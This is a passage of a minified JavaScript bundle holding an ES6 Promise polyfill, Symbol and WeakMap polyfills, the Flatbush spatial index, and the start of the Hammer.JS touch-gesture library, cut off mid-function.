TypeError(\\\"A promises callback cannot return that same promise.\\\"))}else o=n,a=!0;e._state!==k||(r&&a?M(e,o):l?P(e,s):t===S?z(e,o):t===C&&P(e,o))}var D=0;function I(t){t[x]=D++,t._state=void 0,t._result=void 0,t._subscribers=[]}var R=function(){function t(t,e){this._instanceConstructor=t,this.promise=new t(w),this.promise[x]||I(this.promise),i(e)?(this.length=e.length,this._remaining=e.length,this._result=new Array(this.length),0===this.length?z(this.promise,this._result):(this.length=this.length||0,this._enumerate(e),0===this._remaining&&z(this.promise,this._result))):P(this.promise,new Error(\\\"Array Methods must be provided an Array\\\"))}return t.prototype._enumerate=function(t){for(var e=0;this._state===k&&e<t.length;e++)this._eachEntry(t[e],e)},t.prototype._eachEntry=function(e,t){var i=this._instanceConstructor,n=i.resolve;if(n===b){var r=A(e);if(r===y&&e._state!==k)this._settledAt(e._state,t,e._result);else if(\\\"function\\\"!=typeof r)this._remaining--,this._result[t]=e;else if(i===B){var o=new i(w);E(o,e,r),this._willSettleAt(o,t)}else this._willSettleAt(new i(function(t){return t(e)}),t)}else this._willSettleAt(n(e),t)},t.prototype._settledAt=function(t,e,i){var n=this.promise;n._state===k&&(this._remaining--,t===C?P(n,i):this._result[e]=i),0===this._remaining&&z(n,this._result)},t.prototype._willSettleAt=function(t,e){var i=this;j(t,void 0,function(t){return i._settledAt(S,e,t)},function(t){return i._settledAt(C,e,t)})},t}(),B=function(){function e(t){this[x]=D++,this._result=this._state=void 0,this._subscribers=[],w!==t&&(\\\"function\\\"!=typeof t&&function(){throw new TypeError(\\\"You must pass a resolver function as the first argument to the promise constructor\\\")}(),this instanceof e?function(e,t){try{t(function(t){M(e,t)},function(t){P(e,t)})}catch(t){P(e,t)}}(this,t):function(){throw new TypeError(\\\"Failed to construct 'Promise': Please use the 'new' operator, this object constructor cannot be called as a function.\\\")}())}return e.prototype.catch=function(t){return this.then(null,t)},e.prototype.finally=function(e){var i=this.constructor;return this.then(function(t){return i.resolve(e()).then(function(){return t})},function(t){return i.resolve(e()).then(function(){throw t})})},e}();return B.prototype.then=y,B.all=function(t){return new R(this,t).promise},B.race=function(r){var o=this;return i(r)?new o(function(t,e){for(var i=r.length,n=0;n<i;n++)o.resolve(r[n]).then(t,e)}):new o(function(t,e){return e(new TypeError(\\\"You must pass an array to race.\\\"))})},B.resolve=b,B.reject=function(t){var e=new this(w);return P(e,t),e},B._setScheduler=function(t){r=t},B._setAsap=function(t){a=t},B._asap=a,B.polyfill=function(){var t=void 0;if(\\\"undefined\\\"!=typeof global)t=global;else if(\\\"undefined\\\"!=typeof self)t=self;else try{t=Function(\\\"return this\\\")()}catch(t){throw new Error(\\\"polyfill failed because global object is unavailable in this environment\\\")}var e=t.Promise;if(e){var i=null;try{i=Object.prototype.toString.call(e.resolve())}catch(t){}if(\\\"[object Promise]\\\"===i&&!e.cast)return}t.Promise=B},B.Promise=B},\\\"object\\\"==typeof e&&void 0!==t?t.exports=n():i.ES6Promise=n()},function(t,e,i){e.exports=t(338)()?Symbol:t(340)},function(t,e,i){var n={object:!0,symbol:!0};e.exports=function(){var t;if(\\\"function\\\"!=typeof Symbol)return!1;t=Symbol(\\\"test symbol\\\");try{String(t)}catch(t){return!1}return!!n[typeof Symbol.iterator]&&!!n[typeof Symbol.toPrimitive]&&!!n[typeof Symbol.toStringTag]}},function(t,e,i){e.exports=function(t){return!!t&&(\\\"symbol\\\"==typeof t||!!t.constructor&&\\\"Symbol\\\"===t.constructor.name&&\\\"Symbol\\\"===t[t.constructor.toStringTag])}},function(t,e,i){var n,r,o,s,a=t(289),l=t(341),h=Object.create,u=Object.defineProperties,c=Object.defineProperty,_=Object.prototype,p=h(null);if(\\\"function\\\"==typeof Symbol){n=Symbol;try{String(n()),s=!0}catch(t){}}var d,f=(d=h(null),function(t){for(var e,i,n=0;d[t+(n||\\\"\\\")];)++n;return d[t+=n||\\\"\\\"]=!0,c(_,e=\\\"@@\\\"+t,a.gs(null,function(t){i||(i=!0,c(this,e,a(t)),i=!1)})),e});o=function(t){if(this instanceof o)throw new TypeError(\\\"Symbol is not a constructor\\\");return r(t)},e.exports=r=function t(e){var i;if(this instanceof t)throw new TypeError(\\\"Symbol is not a constructor\\\");return s?n(e):(i=h(o.prototype),e=void 0===e?\\\"\\\":String(e),u(i,{__description__:a(\\\"\\\",e),__name__:a(\\\"\\\",f(e))}))},u(r,{for:a(function(t){return p[t]?p[t]:p[t]=r(String(t))}),keyFor:a(function(t){var e;for(e in l(t),p)if(p[e]===t)return e}),hasInstance:a(\\\"\\\",n&&n.hasInstance||r(\\\"hasInstance\\\")),isConcatSpreadable:a(\\\"\\\",n&&n.isConcatSpreadable||r(\\\"isConcatSpreadable\\\")),iterator:a(\\\"\\\",n&&n.iterator||r(\\\"iterator\\\")),match:a(\\\"\\\",n&&n.match||r(\\\"match\\\")),replace:a(\\\"\\\",n&&n.replace||r(\\\"replace\\\")),search:a(\\\"\\\",n&&n.search||r(\\\"search\\\")),species:a(\\\"\\\",n&&n.species||r(\\\"species\\\")),split:a(\\\"\\\",n&&n.split||r(\\\"split\\\")),toPrimitive:a(\\\"\\\",n&&n.toPrimitive||r(\\\"toPrimitive\\\")),toStringTag:a(\\\"\\\",n&&n.toStringTag||r(\\\"toStringTag\\\")),unscopables:a(\\\"\\\",n&&n.unscopables||r(\\\"unscopables\\\"))}),u(o.prototype,{constructor:a(r),toString:a(\\\"\\\",function(){return this.__name__})}),u(r.prototype,{toString:a(function(){return\\\"Symbol (\\\"+l(this).__description__+\\\")\\\"}),valueOf:a(function(){return l(this)})}),c(r.prototype,r.toPrimitive,a(\\\"\\\",function(){var t=l(this);return\\\"symbol\\\"==typeof t?t:t.toString()})),c(r.prototype,r.toStringTag,a(\\\"c\\\",\\\"Symbol\\\")),c(o.prototype,r.toStringTag,a(\\\"c\\\",r.prototype[r.toStringTag])),c(o.prototype,r.toPrimitive,a(\\\"c\\\",r.prototype[r.toPrimitive]))},function(t,e,i){var n=t(339);e.exports=function(t){if(!n(t))throw new TypeError(t+\\\" is not a symbol\\\");return t}},function(t,e,i){t(343)()||Object.defineProperty(t(297),\\\"WeakMap\\\",{value:t(345),configurable:!0,enumerable:!1,writable:!0})},function(t,e,i){e.exports=function(){var t,e;if(\\\"function\\\"!=typeof WeakMap)return!1;try{t=new WeakMap([[e={},\\\"one\\\"],[{},\\\"two\\\"],[{},\\\"three\\\"]])}catch(t){return!1}return\\\"[object WeakMap]\\\"===String(t)&&\\\"function\\\"==typeof t.set&&t.set({},1)===t&&\\\"function\\\"==typeof t.delete&&\\\"function\\\"==typeof t.has&&\\\"one\\\"===t.get(e)}},function(t,e,i){e.exports=\\\"function\\\"==typeof WeakMap&&\\\"[object WeakMap]\\\"===Object.prototype.toString.call(new WeakMap)},function(t,e,i){var n,r=t(318),o=t(322),s=t(323),a=t(328),l=t(289),h=t(331),u=t(330),c=t(337).toStringTag,_=t(344),p=Array.isArray,d=Object.defineProperty,f=Object.prototype.hasOwnProperty,v=Object.getPrototypeOf;e.exports=n=function(){var e,t=arguments[0];if(!(this instanceof n))throw new TypeError(\\\"Constructor requires 'new'\\\");return e=_&&r&&WeakMap!==n?r(new WeakMap,v(this)):this,null!=t&&(p(t)||(t=h(t))),d(e,\\\"__weakMapData__\\\",l(\\\"c\\\",\\\"$weakMap$\\\"+a())),t&&u(t,function(t){s(t),e.set(t[0],t[1])}),e},_&&(r&&r(n,WeakMap),n.prototype=Object.create(WeakMap.prototype,{constructor:l(n)})),Object.defineProperties(n.prototype,{delete:l(function(t){return!!f.call(o(t),this.__weakMapData__)&&(delete t[this.__weakMapData__],!0)}),get:l(function(t){if(f.call(o(t),this.__weakMapData__))return t[this.__weakMapData__]}),has:l(function(t){return f.call(o(t),this.__weakMapData__)}),set:l(function(t,e){return d(o(t),this.__weakMapData__,l(\\\"c\\\",e)),this}),toString:l(function(){return\\\"[object WeakMap]\\\"})}),d(n.prototype,c,l(\\\"c\\\",\\\"WeakMap\\\"))},function(t,e,i){var n,r;n=this,r=function(){\\\"use strict\\\";var l=[Int8Array,Uint8Array,Uint8ClampedArray,Int16Array,Uint16Array,Int32Array,Uint32Array,Float32Array,Float64Array],h=function(t,e,i,n){if(void 0===t)throw new Error(\\\"Missing required argument: numItems.\\\");if(isNaN(t)||t<=0)throw new Error(\\\"Unpexpected numItems value: \\\"+t+\\\".\\\");this.numItems=+t,this.nodeSize=Math.min(Math.max(+e||16,2),65535);var r=t,o=r;for(this._levelBounds=[4*r];r=Math.ceil(r/this.nodeSize),o+=r,this._levelBounds.push(4*o),1!==r;);this.ArrayType=i||Float64Array,this.IndexArrayType=o<16384?Uint16Array:Uint32Array;var s=l.indexOf(this.ArrayType),a=4*o*this.ArrayType.BYTES_PER_ELEMENT;if(s<0)throw new Error(\\\"Unexpected typed array class: \\\"+i+\\\".\\\");n&&n instanceof ArrayBuffer?(this.data=n,this._boxes=new this.ArrayType(this.data,8,4*o),this._indices=new this.IndexArrayType(this.data,8+a,o),this._pos=4*o,this.minX=this._boxes[this._pos-4],this.minY=this._boxes[this._pos-3],this.maxX=this._boxes[this._pos-2],this.maxY=this._boxes[this._pos-1]):(this.data=new ArrayBuffer(8+a+o*this.IndexArrayType.BYTES_PER_ELEMENT),this._boxes=new this.ArrayType(this.data,8,4*o),this._indices=new this.IndexArrayType(this.data,8+a,o),this._pos=0,this.minX=1/0,this.minY=1/0,this.maxX=-1/0,this.maxY=-1/0,new Uint8Array(this.data,0,2).set([251,48+s]),new Uint16Array(this.data,2,1)[0]=e,new Uint32Array(this.data,4,1)[0]=t)};function C(t,e,i,n,r){var o=t[n];t[n]=t[r],t[r]=o;var s=4*n,a=4*r,l=e[s],h=e[s+1],u=e[s+2],c=e[s+3];e[s]=e[a],e[s+1]=e[a+1],e[s+2]=e[a+2],e[s+3]=e[a+3],e[a]=l,e[a+1]=h,e[a+2]=u,e[a+3]=c;var _=i[n];i[n]=i[r],i[r]=_}function T(t,e){var i=t^e,n=65535^i,r=65535^(t|e),o=t&(65535^e),s=i|n>>1,a=i>>1^i,l=r>>1^n&o>>1^r,h=i&r>>1^o>>1^o;a=(i=s)&(n=a)>>2^n&(i^n)>>2,l^=i&(r=l)>>2^n&(o=h)>>2,h^=n&r>>2^(i^n)&o>>2,a=(i=s=i&i>>2^n&n>>2)&(n=a)>>4^n&(i^n)>>4,l^=i&(r=l)>>4^n&(o=h)>>4,h^=n&r>>4^(i^n)&o>>4,l^=(i=s=i&i>>4^n&n>>4)&(r=l)>>8^(n=a)&(o=h)>>8;var u=t^e,c=(n=(h^=n&r>>8^(i^n)&o>>8)^h>>1)|65535^(u|(i=l^l>>1));return((c=1431655765&((c=858993459&((c=252645135&((c=16711935&(c|c<<8))|c<<4))|c<<2))|c<<1))<<1|(u=1431655765&((u=858993459&((u=252645135&((u=16711935&(u|u<<8))|u<<4))|u<<2))|u<<1)))>>>0}return h.from=function(t){if(!(t instanceof ArrayBuffer))throw new Error(\\\"Data must be an instance of ArrayBuffer.\\\");var e=new Uint8Array(t,0,2),i=e[0],n=e[1];if(251!==i)throw new Error(\\\"Data does not appear to be in a Flatbush format.\\\");if(n>>4!=3)throw new Error(\\\"Got v\\\"+(n>>4)+\\\" data when expected v3.\\\");var r=new Uint16Array(t,2,1),o=r[0],s=new Uint32Array(t,4,1),a=s[0];return new h(a,o,l[15&n],t)},h.prototype.add=function(t,e,i,n){var r=this._pos>>2;this._indices[r]=r,this._boxes[this._pos++]=t,this._boxes[this._pos++]=e,this._boxes[this._pos++]=i,this._boxes[this._pos++]=n,t<this.minX&&(this.minX=t),e<this.minY&&(this.minY=e),i>this.maxX&&(this.maxX=i),n>this.maxY&&(this.maxY=n)},h.prototype.finish=function(){var t=this;if(this._pos>>2!==this.numItems)throw new Error(\\\"Added \\\"+(this._pos>>2)+\\\" items when expected \\\"+this.numItems+\\\".\\\");for(var e=this.maxX-this.minX,i=this.maxY-this.minY,n=new Uint32Array(this.numItems),r=0;r<this.numItems;r++){var o=4*r,s=t._boxes[o++],a=t._boxes[o++],l=t._boxes[o++],h=t._boxes[o++],u=Math.floor(65535*((s+l)/2-t.minX)/e),c=Math.floor(65535*((a+h)/2-t.minY)/i);n[r]=T(u,c)}!function t(e,i,n,r,o){if(!(o<=r)){for(var s=e[r+o>>1],a=r-1,l=o+1;;){for(;e[++a]<s;);for(;e[--l]>s;);if(l<=a)break;C(e,i,n,a,l)}t(e,i,n,r,l),t(e,i,n,l+1,o)}}(n,this._boxes,this._indices,0,this.numItems-1);for(var _=0,p=0;_<this._levelBounds.length-1;_++)for(var d=t._levelBounds[_];p<d;){for(var f=1/0,v=1/0,m=-1/0,g=-1/0,y=p,b=0;b<this.nodeSize&&p<d;b++){var x=t._boxes[p++],w=t._boxes[p++],k=t._boxes[p++],S=t._boxes[p++];x<f&&(f=x),w<v&&(v=w),m<k&&(m=k),g<S&&(g=S)}t._indices[t._pos>>2]=y,t._boxes[t._pos++]=f,t._boxes[t._pos++]=v,t._boxes[t._pos++]=m,t._boxes[t._pos++]=g}},h.prototype.search=function(t,e,i,n,r){if(this._pos!==this._boxes.length)throw new Error(\\\"Data not yet indexed - call index.finish().\\\");for(var o=this._boxes.length-4,s=this._levelBounds.length-1,a=[],l=[];void 0!==o;){for(var h=Math.min(o+4*this.nodeSize,this._levelBounds[s]),u=o;u<h;u+=4){var c=this._indices[u>>2];i<this._boxes[u]||n<this._boxes[u+1]||t>this._boxes[u+2]||e>this._boxes[u+3]||(o<4*this.numItems?(void 0===r||r(c))&&l.push(c):(a.push(c),a.push(s-1)))}s=a.pop(),o=a.pop()}return l},h},\\\"object\\\"==typeof i&&void 0!==e?e.exports=r():n.Flatbush=r()},function(t,Yt,e){\\n      /*! Hammer.JS - v2.0.7 - 2016-04-22\\n           * http://hammerjs.github.io/\\n           *\\n           * Copyright (c) 2016 Jorik Tangelder;\\n           * Licensed under the MIT license */\\n      !function(o,a,t,x){\\\"use strict\\\";var s,l=[\\\"\\\",\\\"webkit\\\",\\\"Moz\\\",\\\"MS\\\",\\\"ms\\\",\\\"o\\\"],e=a.createElement(\\\"div\\\"),i=\\\"function\\\",h=Math.round,w=Math.abs,k=Date.now;function u(t,e,i){return setTimeout(f(t,i),e)}function n(t,e,i){return!!Array.isArray(t)&&(c(t,i[e],i),!0)}function c(t,e,i){var n;if(t)if(t.forEach)t.forEach(e,i);else if(t.length!==x)for(n=0;n<t.length;)e.call(i,t[n],n,t),n++;else for(n in t)t.hasOwnProperty(n)&&e.call(i,t[n],n,t)}function r(n,t,e){var r=\\\"DEPRECATED METHOD: \\\"+t+\\\"\\\\n\\\"+e+\\\" AT \\\\n\\\";return function(){var t=new Error(\\\"get-stack-trace\\\"),e=t&&t.stack?t.stack.replace(/^[^\\\\(]+?[\\\\n$]/gm,\\\"\\\").replace(/^\\\\s+at\\\\s+/gm,\\\"\\\").replace(/^Object.<anonymous>\\\\s*\\\\(/gm,\\\"{anonymous}()@\\\"):\\\"Unknown Stack Trace\\\",i=o.console&&(o.console.warn||o.console.log);return i&&i.call(o.console,r,e),n.apply(this,arguments)}}s=\\\"function\\\"!=typeof Object.assign?function(t){if(t===x||null===t)throw new TypeError(\\\"Cannot convert undefined or null to object\\\");for(var e=Object(t),i=1;i<arguments.length;i++){var n=arguments[i];if(n!==x&&null!==n)for(var r in n)n.hasOwnProperty(r)&&(e[r]=n[r])}return e}:Object.assign;var _=r(function(t,e,i){for(var n=Object.keys(e),r=0;r<n.length;)(!i||i&&t[n[r]]===x)&&(t[n[r]]=e[n[r]]),r++;return t},\\\"extend\\\",\\\"Use `assign`.\\\"),p=r(function(t,e){return _(t,e,!0)},\\\"merge\\\",\\\"Use `assign`.\\\");function d(t,e,i){var n,r=e.prototype;(n=t.prototype=Object.create(r)).constructor=t,n._super=r,i&&s(n,i)}function f(t,e){return function(){return t.apply(e,arguments)}}function v(t,e){return typeof t==i?t.apply(e&&e[0]||x,e):t}function m(t,e){return t===x?e:t}function g(e,t,i){c(C(t),function(t){e.addEventListener(t,i,!1)})}function y(e,t,i){c(C(t),function(t){e.removeEventListener(t,i,!1)})}function S(t,e){for(;t;){if(t==e)return!0;t=t.parentNode}return!1}function b(t,e){return-1<t.indexOf(e)}function C(t){return t.trim().split(/\\\\s+/g)}function T(t,e,i){if(t.indexOf&&!i)return t.indexOf(e);for(var n=0;n<t.length;){if(i&&t[n][i]==e||!i&&t[n]===e)return n;n++}return-1}function A(t){return Array.prototype.slice.call(t,0)}function E(t,i,e){for(var n=[],r=[],o=0;o<t.length;){var s=i?t[o][i]:t[o];T(r,s)<0&&n.push(t[o]),r[o]=s,o++}return e&&(n=i?n.sort(function(t,e){return t[i]>e[i]}):n.sort()),n}function M(t,e){for(var i,n,r=e[0].toUpperCase()+e.slice(1),o=0;o<l.length;){if(i=l[o],(n=i?i+r:e)in t)return n;o++}return x}var O=1;function z(t){var e=t.ownerDocument||t;return e.defaultView||e.parentWindow||o}var P=\\\"ontouchstart\\\"in o,j=M(o,\\\"PointerEvent\\\")!==x,N=P&&/mobile|tablet|ip(ad|hone|od)|android/i.test(navigator.userAgent),F=\\\"touch\\\",D=25,I=1,R=4,B=8,L=1,V=2,G=4,U=8,q=16,Y=V|G,X=U|q,H=Y|X,W=[\\\"x\\\",\\\"y\\\"],J=[\\\"clientX\\\",\\\"clientY\\\"];function Q(e,t){var i=this;this.manager=e,this.callback=t,this.element=e.element,this.target=e.options.inputTarget,this.domHandler=function(t){v(e.options.enable,[e])&&i.handler(t)},this.init()}function $(t,e,i){var n=i.pointers.length,r=i.changedPointers.length,o=e&I&&n-r==0,s=e&(R|B)&&n-r==0;i.isFirst=!!o,i.isFinal=!!s,o&&(t.session={}),i.eventType=e,function(t,e){var i=t.session,n=e.pointers,r=n.length;i.firstInput||(i.firstInput=K(e)),1<r&&!i.firstMultiple?i.firstMultiple=K(e):1===r&&(i.firstMultiple=!1);var o,s,a,l,h,u,c=i.firstInput,_=i.firstMultiple,p=_?_.center:c.center,d=e.center=Z(n);e.timeStamp=k(),e.deltaTime=e.timeStamp-c.timeStamp,e.angle=nt(p,d),e.distance=it(p,d),o=i,a=(s=e).center,l=o.offsetDelta||{},h=o.prevDelta||{},u=o.prevInput||{},s.eventType!==I&&u.eventType!==R||(h=o.prevDelta={x:u.deltaX||0,y:u.deltaY||0},l=o.offsetDelta={x:a.x,y:a.y}),s.deltaX=h.x+(a.x-l.x),s.deltaY=h.y+(a.y-l.y),e.offsetDirection=et(e.deltaX,e.deltaY);var f,v,m,g,y=tt(e.deltaTime,e.deltaX,e.deltaY);e.overallVelocityX=y.x,e.overallVelocityY=y.y,e.overallVelocity=w(y.x)>w(y.y)?y.x:y.y,e.scale=_?(m=_.pointers,it((g=n)[0],g[1],J)/it(m[0],m[1],J)):1,e.rotation=_?(f=_.pointers,nt((v=n)[1],v[0],J)+nt(f[1],f[0],J)):0,e.maxPointers=i.prevInput?e.pointers.length>i.prevInput.maxPointers?e.pointers.length:i.prevInput.maxPointers:e.pointers.length,function(t,e){var i,n,r,o,s=t.lastInterval||e,a=e.timeStamp-s.timeStamp;if(e.eventType!=B&&(D<a||s.velocity===x)){var l=e.deltaX-s.deltaX,h=e.deltaY-s.deltaY,u=tt(a,l,h);n=u.x,r=u.y,i=w(u.x)>w(u.y)?u.x:u.y,o=et(l,h),t.lastInterval=e}else i=s.velocity,n=s.velocityX,r=s.velocityY,o=s.direction;e.velocity=i,e.velocityX=n,e.velocityY=r,e.direction=o}(i,e);var b=t.element;S(e.srcEvent.target,b)&&(b=e.srcEvent.target),e.target=b}(t,i),t.emit(\\\"hammer.input\\\",i),t.recognize(i),t.session.prevInput=i}function K(t){for(var e=[],i=0;i<t.pointers.length;)e[i]={clientX:h(t.pointers[i].clientX),clientY:h(t.pointers[i].clientY)},i++;return{timeStamp:k(),pointers:e,center:Z(e),deltaX:t.deltaX,deltaY:t.deltaY}}function Z(t){var e=t.length;if(1===e)return{x:h(t[0].clientX),y:h(t[0].clientY)};for(var i=0,n=0,r=0;r<e;)i+=t[r].clientX,n+=t[r].clientY,r++;return{x:h(i/e),y:h(n/e)}}function tt(t,e,i){return{x:e/t||0,y:i/t||0}}function et(t,e){return t===e?L:w(t)>=w(e)?t<0?V:G:e<0?U:q}function it(t,e,i){i||(i=W);var n=e[i[0]]-t[i[0]],r=e[i[1]]-t[i[1]];return Math.sqrt(n*n+r*r)}function nt(t,e,i){i||(i=W);var n=e[i[0]]-t[i[0]],r=e[i[1]]-t[i[1]];return 180*Math.atan2(r,n)/Math.PI}Q.prototype={handler:function(){},init:function(){this.evEl&&g(this.element,this.evEl,this.domHandler),this.evTarget&&g(this.target,this.evTarget,this.domHandler),this.evWin&&g(z(this.element),this.evWin,this.domHandler)},destroy:function(){this.evEl&&y(this.element,this.evEl,this.domHandler),this.evTarget&&y(this.target,this.evTarget,this.domHandler),this.evWin&&y(z(this.element),this.evWin,this.domHandler)}};var rt={mousedown:I,mousemove:2,mouseup:R},ot=\\\"mousedown\\\",st=\\\"mousemove mouseup\\\";function at(){this.evEl=ot,this.evWin=st,this.pressed=!1,Q.apply(this,arguments)}d(at,Q,{handler:function(t){var e=rt[t.type];e&I&&0===t.button&&(this.pressed=!0),2&e&&1!==t.which&&(e=R),this.pressed&&(e&R&&(this.pressed=!1),this.callback(this.manager,e,{pointers:[t],changedPointers:[t],pointerType:\\\"mouse\\\",srcEvent:t}))}});var lt={pointerdown:I,pointermove:2,pointerup:R,pointercancel:B,pointerout:B},ht={2:F,3:\\\"pen\\\",4:\\\"mouse\\\",5:\\\"kinect\\\"},ut=\\\"pointerdown\\\",ct=\\\"pointermove pointerup pointercancel\\\";function _t(){this.evEl=ut,this.evWin=ct,Q.apply(this,arguments),this.store=this.manager.session.pointerEvents=[]}o.MSPointerEvent&&!o.PointerEvent&&(ut=\\\"MSPointerDown\\\",ct=\\\"MSPointerMove MSPointerUp MSPointerCancel\\\"),d(_t,Q,{handler:function(t){var e=this.store,i=!1,n=t.type.toLowerCase().replace(\\\"ms\\\",\\\"\\\"),r=lt[n],o=ht[t.pointerType]||t.pointerType,s=o==F,a=T(e,t.pointerId,\\\"pointerId\\\");r&I&&(0===t.button||s)?a<0&&(e.push(t),a=e.length-1):r&(R|B)&&(i=!0),a<0||(e[a]=t,this.callback(this.manager,r,{pointers:e,changedPointers:[t],pointerType:o,srcEvent:t}),i&&e.splice(a,1))}});var pt={touchstart:I,touchmove:2,touchend:R,touchcancel:B};function dt(){this.evTarget=\\\"touchstart\\\",this.evWin=\\\"touchstart touchmove touchend touchcancel\\\",this.started=!1,Q.apply(this,arguments)}d(dt,Q,{handler:function(t){var e=pt[t.type];if(e===I&&(this.started=!0),this.started){var i=function(t,e){var i=A(t.touches),n=A(t.changedTouches);return e&(R|B)&&(i=E(i.concat(n),\\\"identifier\\\",!0)),[i,n]}.call(this,t,e);e&(R|B)&&i[0].length-i[1].length==0&&(this.started=!1),this.callback(this.manager,e,{pointers:i[0],changedPointers:i[1],pointerType:F,srcEvent:t})}}});var ft={touchstart:I,touchmove:2,touchend:R,touchcancel:B},vt=\\\"touchstart touchmove touchend touchcancel\\\";function mt(){this.evTarget=vt,this.targetIds={},Q.apply(this,arguments)}d(mt,Q,{handler:function(t){var e=ft[t.type],i=function(t,e){var i=A(t.touches),n=this.targetIds;if(e&(2|I)&&1===i.length)return n[i[0].identifier]=!0,[i,i];var r,o,s=A(t.changedTouches),a=[],l=this.target;if(o=i.filter(function(t){return S(t.target,l)}),e===I)for(r=0;r<o.length;)n[o[r].identifier]=!0,r++;for(r=0;r<s.length;)n[s[r].identifier]&&a.push(s[r]),e&(R|B)&&delete n[s[r].identifier],r++;return a.length?[E(o.concat(a),\\\"identifier\\\",!0),a]:void 0}.call(this,t,e);i&&this.callback(this.manager,e,{pointers:i[0],changedPointers:i[1],pointerType:F,srcEvent:t})}});var gt=2500;function yt(){Q.apply(this,arguments);var t=f(this.handler,this);this.touch=new mt(this.manager,t),this.mouse=new at(this.manager,t),this.primaryTouch=null,this.lastTouches=[]}function bt(t){var e=t.changedPointers[0];if(e.identifier===this.primaryTouch){var i={x:e.clientX,y:e.clientY};this.lastTouches.push(i);var n=this.lastTouches;setTimeout(function(){var t=n.indexOf(i);-1<t&&n.splice(t,1)},gt)}}d(yt,Q,{handler:function(t,e,i){var n=i.pointerType==F,r=\\\"mouse\\\"==i.pointerType;if(!(r&&i.sourceCapabilities&&i.sourceCapabilities.firesTouchEvents)){if(n)(function(t,e){t&I?(this.primaryTouch=e.changedPointers[0].identifier,bt.call(this,e)):t&(R|B)&&bt.call(this,e)}).call(this,e,i);else if(r&&function(t){for(var e=t.srcEvent.clientX,i=t.srcEvent.clientY,n=0;n<this.lastTouches.length;n++){var r=this.lastTouches[n],o=Math.abs(e-r.x),s=Math.abs(i-r.y);if(o<=25&&s<=25)return!0}return!1}.call(this,i))return;this.callback(t,e,i)}},destroy:function(){this.touch.destroy(),this.mouse.destroy()}});var xt=M(e.style,\\\"touchAction\\\"),wt=xt!==x,kt=\\\"manipulation\\\",St=\\\"none\\\",Ct=\\\"pan-x\\\",Tt=\\\"pan-y\\\",At=function(){if(!wt)return!1;var e={},i=o.CSS&&o.CSS.supports;return[\\\"auto\\\",\\\"manipulation\\\",\\\"pan-y\\\",\\\"pan-x\\\",\\\"pan-x pan-y\\\",\\\"none\\\"].forEach(function(t){e[t]=!i||o.CSS.supports(\\\"touch-action\\\",t)}),e}();function Et(t,e){this.manager=t,this.set(e)}Et.prototype={set:function(t){\\\"compute\\\"==t&&(t=this.compute()),wt&&this.manager.element.style&&At[t]&&(this.manager.element.style[xt]=t),this.actions=t.toLowerCase().trim()},update:function(){this.set(this.manager.options.touchAction)},compute:function(){var e=[];return c(this.manager.recognizers,function(t){v(t.options.enable,[t])&&(e=e.concat(t.getTouchAction()))}),function(t){if(b(t,St))return St;var e=b(t,Ct),i=b(t,Tt);return e&&i?St:e||i?e?Ct:Tt:b(t,kt)?kt:\\\"auto\\\"}(e.join(\\\" \\\"))},preventDefaults:function(t){var e=t.srcEvent,i=t.offsetDirection;if(this.manager.session.prevented)e.preventDefault();else{var n=this.actions,r=b(n,St)&&!At.none,o=b(n,Tt)&&!At[Tt],s=b(n,Ct)&&!At[Ct];if(r){var a=1===t.pointers.length,l=t.distance<2,h=t.deltaTime<250;if(a&&l&&h)return}if(!s||!o)return r||o&&i&Y||s&&i&X?this.preventSrc(e):void 0}},preventSrc:function(t){this.manager.session.prevented=!0,t.preventDefault()}};var Mt=1;function Ot(t){this.options=s({},this.defaults,t||{}),this.id=O++,this.manager=null,this.options.enable=m(this.options.enable,!0),this.state=Mt,this.simultaneous={},this.requireFail=[]}function zt(t){return 16&t?\\\"cancel\\\":8&t?\\\"end\\\":4&t?\\\"move\\\":2&t?\\\"start\\\":\\\"\\\"}function Pt(t){return t==q?\\\"down\\\":t==U?\\\"up\\\":t==V?\\\"left\\\":t==G?\\\"right\\\":\\\"\\\"}function jt(t,e){var i=e.manager;return i?i.get(t):t}function Nt(){Ot.apply(this,arguments)}function Ft(){Nt.apply(this,arguments),this.pX=null,this.pY=null}function Dt(){Nt.apply(this,arguments)}function It(){Ot.apply(this,arguments),this._timer=null,this._input=null}function Rt(){Nt.apply(this,arguments)}function Bt(){Nt.apply(this,arguments)}function Lt(){Ot.apply(this,arguments),this.pTime=!1,this.pCenter=!1,this._timer=null,this._input=null,this.count=0}function Vt(t,e){return(e=e||{}).recognizers=m(e.recognizers,Vt.defaults.preset),new Gt(t,e)}function Gt(t,e){var i;this.options=s({},Vt.defaults,e||{}),this.options.inputTarget=this.options.inputTarget||t,this.handlers={},this.session={},this.recognizers=[],this.oldCssProps={},this.element=t,this.input=new((i=this).options.inputClass||(j?_t:N?mt:P?yt:at))(i,$),this.touchAction=new Et(this,this.options.touchAction),Ut(this,!0),c(this.options.recognizers,function(t){var e=this.add(new t[0](t[1]));t[2]&&e.recognizeWith(t[2]),t[3]&&e.requireFailure(t[3])},this)}function Ut(i,n){var r,o=i.element;o.style&&(c(i.options.cssProps,function(t,e){r=M(o.style,e),n?(i.oldCssProps[r]=o.style[r],o.style[r]=t):o.style[r]=i.oldCssProps[r]||\\\"\\\"}),n||(i.oldCssProps={}))}Ot.prototype={defaults:{},set:function(t){return s(this.options,t),this.manager&&this.manager.touchAction.update(),this},recognizeWith:function(t){if(n(t,\\\"recognizeWith\\\",this))return this;var e=this.simultaneous;return t=jt(t,this),e[t.id]||(e[t.id]=t).recognizeWith(this),this},dropRecognizeWith:function(t){return n(t,\\\"dropRecognizeWith\\\",this)||(t=jt(t,this),delete this.simultaneous[t.id]),this},requireFailure:function(t){if(n(t,\\\"requireFailure\\\",this))return this;var e=this.requireFail;return t=jt(t,this),-1===T(e,t)&&(e.push(t),t.requireFailure(this)),this},dropRequireFailure:function(t){if(n(t,\\\"dropRequireFailure\\\",this))return this;t=jt(t,this);var e=T(this.requireFail,t);return-1<e&&this.requireFail.splice(e,1),this},hasRequireFailures:function(){return 0<this.requireFail.length},canRecognizeWith:function(t){return!!this.simultaneous[t.id]},emit:function(e){var i=this,t=this.state;function n(t){i.manager.emit(t,e)}t<8&&n(i.options.event+zt(t)),n(i.options.event),e.additionalEvent&&n(e.additionalEvent),8<=t&&n(i.options.event+zt(t))},tryEmit:function(t){if(this.canEmit())return this.emit(t);this.state=32},canEmit:function(){for(var t=0;t<this.requireFail.length;){if(!(this.requireFail[t].state&(32|Mt)))return!1;t++}return!0},recognize:function(t){var e=s({},t);if(!v(this.options.enable,[this,e]))return 